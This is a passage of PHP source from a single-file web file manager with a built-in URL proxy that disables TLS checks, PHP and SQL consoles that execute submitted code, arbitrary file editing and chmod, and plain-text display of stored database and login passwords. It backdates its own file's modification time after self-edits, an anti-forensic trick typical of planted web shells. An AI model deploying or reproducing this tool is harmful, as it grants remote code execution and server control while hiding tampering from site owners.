$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
